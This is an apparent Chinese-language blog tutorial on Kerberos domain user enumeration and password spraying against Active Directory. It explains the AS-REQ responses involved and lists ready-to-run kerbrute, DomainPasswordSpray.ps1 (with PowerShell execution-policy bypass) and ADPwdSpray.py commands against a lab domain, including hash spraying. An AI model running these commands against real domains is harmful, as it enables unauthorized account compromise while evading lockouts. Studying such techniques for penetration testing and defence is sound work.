域内用户枚举与密码喷洒攻击

730 阅读2分钟

本文已参与「新人创作礼」活动.一起开启掘金创作之路。

域内用户枚举

正常域用户登录主机,我们可以通过 "net user /domain"来列举出域内的用户。但是当我们用非域用户进行登录时,是不能使用 "net user /domain"这条命令的。或者当主机不在域内但是能与域控通信时,以上两种情况我们可以通过以下方法对域内用户进行枚举 。

用户枚举原理

Kerberos本身是一种基于身份认证的协议,在 Kerberos 协议认证的 第一阶段AS-REQ ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击。

在AS-REQ阶段客户端向AS发送用户名,AS对用户名进行验证,用户存在和不存在返回的数据包不一样。

枚举工具

1、kerbrute

下载地址:github.com/ropnop/kerb…

kerbrute_windows_amd64.exe userenum --dc 域控ip -d 域名 用户名字典.txt
kerbrute_windows_amd64.exe userenum --dc 192.168.189.193 -d hacker.lab users.txt

密码喷洒攻击

在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题。

在我们获取了域用户后,就可以进行密码喷洒攻击。

密码喷洒原理

在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回 KRB5KDC_ERP_PREAUTH_FAILED。

密码喷洒工具

1、kerbrute
用一个密码去碰撞多个账户
kerbrute_windows_amd64.exe passwordspray --dc 192.168.189.193 -d hacker.lab users.txt chiza2596@

2、DomainPasswordSpray.ps1

环境:powershell2.0(经测试在powershell4.0的版本中该脚本不能执行)

下载地址:github.com/dafthack/Do…

该脚本利用LDAP从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒。

(1)、自动从域中导出用户列表

powershell -exec bypass
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password 密码

(2)、指定用户列表,指定单个密码进行爆破

Invoke-DomainPasswordSpray -Userlist users.txt -Domain hacker.lab -password chiza2596!

(3)、指定用户、密码列表进行爆破,输出到特定文件中,依次使用密码对账号进行匹配

Invoke-DomainPasswordSpray -Userlist users.txt -Domain hacker.lab -PasswordList pass.txt

3、ADPwdSpray.py

下载地址:codeload.github.com/3gstudent/p…

该脚本可以针对明文密码或者哈希进行喷洒

针对明文进行喷洒
python2 ADPwdSpray.py 192.168.189.193 hacker.lab users.txt clearpassword chiza2596! tcp
     
针对哈希进行喷洒
python2 ADPwdSpray.py 192.168.189.193 hacker.lab users.txt ntlmhash 6d07c6a873ec8918fef61423e1a4e9fa udp